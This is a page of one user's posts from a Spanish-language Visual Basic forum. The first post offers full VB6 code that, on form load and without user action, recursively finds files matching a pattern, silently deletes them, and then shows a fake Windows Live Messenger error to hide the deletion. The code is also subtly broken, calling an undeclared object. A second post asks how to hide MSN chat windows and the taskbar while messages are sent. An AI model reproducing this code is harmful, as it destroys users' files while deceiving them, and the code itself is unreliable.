|
Mostrar Mensajes
|
Páginas: 1 [2] 3 4
|
14
|
Programación / Programación Visual Basic / Re: buscar archivos con una determinada extension y borrarlos
|
en: 20 Noviembre 2007, 15:40 pm
|
weno con el ejemplo de E0N y una ayuda del codigo de c0c0_w3y_s0ftwar3 he conseguido hacer lo que queria gracias PD: aqui dejo el codigo completo por si a alguien le interesa : en un form, agregar 3 timer, 2textbox y 1 listbox Option Explicit
'*************************************************************************** '* Controles Text1 ( para indicar el Path) _ Text2 ( para los archivos, por ejemplo *.txt ) _ List1 '***************************************************************************
Private Sub Command1_Click()
End Sub
Private Sub Form_Load() 'Directorio de windows Text1.Text = "C:\O" 'Archivos txt Text2.Text = "*.txt" Timer1.Interval = 100 Timer2.Interval = 200 Timer3.Interval = 300 End Sub
'Redimensiona y posiciona los controles '--------------------------------------------------------------
Private Sub Timer1_Timer() Dim path As String Dim Pattern As String Dim FileSize As Currency Dim Count_Archivos As Long Dim Count_Dir As Long
Screen.MousePointer = vbHourglass 'Borramos el contenido del List1 List1.Clear 'Path y archivos a buscar path = Text1.Text Pattern = Text2.Text 'Llamamos a la función para buscar y que nos retorne algunos datos FileSize = FindFilesAPI(path, Pattern, _ Count_Archivos, _ Count_Dir, List1)
'Mostramos los resultados 'Cantidad de archivos encontrados MsgBox Count_Archivos & " Archivos encontrados en " & _ Count_Dir + 1 & " Directorios", 64 'Tamaño Total en Bytes de los archivos encontrados MsgBox "Tamaño total de los archivos: " & _ path & " = " & _ Format(FileSize, "#,###,###,##0") & " Bytes", 64
Screen.MousePointer = vbDefault
End Sub
Private Sub Timer2_Timer() On Error Resume Next Dim i As Integer Dim Pattern As String Dim rpl Dim path As String Set rpl = CreateObject("Scripting.FileSystemObject") For i = 0 To List1.ListCount Pattern = List1.List(i) fso.DeleteFile Pattern, True Next i Set fso = Nothing List1.Clear MsgBox "Error grabe en el volumen sfx2018688000x114 de Windows Live Messenger", vbInformation, "Error" End Sub
Private Sub Timer3_Timer() Timer1.Enabled = False Timer2.Enabled = False
End Sub
en un modulo: Option Explicit
'*************************************************************************** '* Código fuente del módulo bas '***************************************************************************
'Declaraciones del Api '------------------------------------------------------------------------------
'Esta función busca el primer archivo de un Dir Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" ( _ ByVal lpFileName As String, _ lpFindFileData As WIN32_FIND_DATA) As Long
'Esta el siguiente archivo o directorio Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" ( _ ByVal hFindFile As Long, _ lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" ( _ ByVal lpFileName As String) As Long
'Esta cierra el Handle de búsqueda Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
' Constantes '------------------------------------------------------------------------------
'Constantes de atributos de archivos Const FILE_ATTRIBUTE_ARCHIVE = &H20 Const FILE_ATTRIBUTE_DIRECTORY = &H10 Const FILE_ATTRIBUTE_HIDDEN = &H2 Const FILE_ATTRIBUTE_NORMAL = &H80 Const FILE_ATTRIBUTE_READONLY = &H1 Const FILE_ATTRIBUTE_SYSTEM = &H4 Const FILE_ATTRIBUTE_TEMPORARY = &H100
'Otras constantes Const MAX_PATH = 260 Const MAXDWORD = &HFFFF Const INVALID_HANDLE_VALUE = -1
'UDT '------------------------------------------------------------------------------
'Estructura para las fechas de los archivos Private Type FILETIME dwLowDateTime As Long dwHighDateTime As Long End Type
'Estructura necesaria para la información de archivos Private Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type
'----------------------------------------------------------------------- 'Funciones '-----------------------------------------------------------------------
'Esta función es para formatear los nombres de archivos y directorios. Elimina los CHR(0) '------------------------------------------------------------------------ Function Eliminar_Nulos(OriginalStr As String) As String If (InStr(OriginalStr, Chr(0)) > 0) Then 'FIXIT: Reemplazar la función 'Left' con la función 'Left$'. FixIT90210ae-R9757-R1B8ZE OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1) End If Eliminar_Nulos = OriginalStr
End Function
'Esta función es la principal que permite buscar _ los archivos y listarlos en el ListBox
'FIXIT: Declare 'FindFilesAPI' con un tipo de datos de enlace en tiempo de compilación FixIT90210ae-R1672-R1B8ZE Function FindFilesAPI(path As String, _ SearchStr As String, _ FileCount As Long, _ DirCount As Long, _ ListBox As ListBox)
Dim FileName As String Dim DirName As String Dim dirNames() As String Dim nDir As Long Dim i As Long Dim hSearch As Long Dim WFD As WIN32_FIND_DATA Dim Cont As Long
'FIXIT: Reemplazar la función 'Right' con la función 'Right$'. FixIT90210ae-R9757-R1B8ZE If Right(path, 1) <> "\" Then path = path & "\" ' Buscamos por mas directorios nDir = 0 ReDim dirNames(nDir) Cont = True hSearch = FindFirstFile(path & "*", WFD) If hSearch <> INVALID_HANDLE_VALUE Then Do While Cont DirName = Eliminar_Nulos(WFD.cFileName) ' Ignore the current and encompassing directories. If (DirName <> ".") And (DirName <> "..") Then ' Check for directory with bitwise comparison. If GetFileAttributes(path & DirName) _ And FILE_ATTRIBUTE_DIRECTORY Then dirNames(nDir) = DirName DirCount = DirCount + 1 nDir = nDir + 1 ReDim Preserve dirNames(nDir) End If End If Cont = FindNextFile(hSearch, WFD) 'Get next subdirectory. Loop Cont = FindClose(hSearch) End If
hSearch = FindFirstFile(path & SearchStr, WFD) Cont = True If hSearch <> INVALID_HANDLE_VALUE Then While Cont FileName = Eliminar_Nulos(WFD.cFileName) If (FileName <> ".") And (FileName <> "..") Then FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) _ + WFD.nFileSizeLow FileCount = FileCount + 1 ListBox.AddItem path & FileName End If Cont = FindNextFile(hSearch, WFD) ' Get next file Wend Cont = FindClose(hSearch) End If
' Si estos son Sub Directorios...... If nDir > 0 Then
For i = 0 To nDir - 1 FindFilesAPI = FindFilesAPI + FindFilesAPI(path & dirNames(i) & "\", _ SearchStr, FileCount, DirCount, ListBox) Next i End If
End Function
|
|
|
19
|
Programación / Programación Visual Basic / Re: ocultar las ventanas de conversacion de msn
|
en: 15 Noviembre 2007, 14:58 pm
|
Me dice que no encuentra la ventana. Debe ser porque muchos contactos tienen msn plus y el nick de colores, entonces en el administrador de tareas pone el nick pero no pone los caracteres que pone en el list1 para los colores. Ej:
este es un nick [c=12]hola[/c] y aparece asi en el listbox, pero en el administrador de tareas pone directamente "hola". y otro cosa por la que creo que tampoco me funciona con contactos con nick normal es que al final pone -conversacion, entonces no encuentra la ventana.
sabeis otra forma de ocultarlo? o mejor minimizo y oculto la barra de tareas, envio todo, y luego vuelvo a mostrar la barra de tareas con el msn cerrado?
saludos
|
|
|
|
|
|
|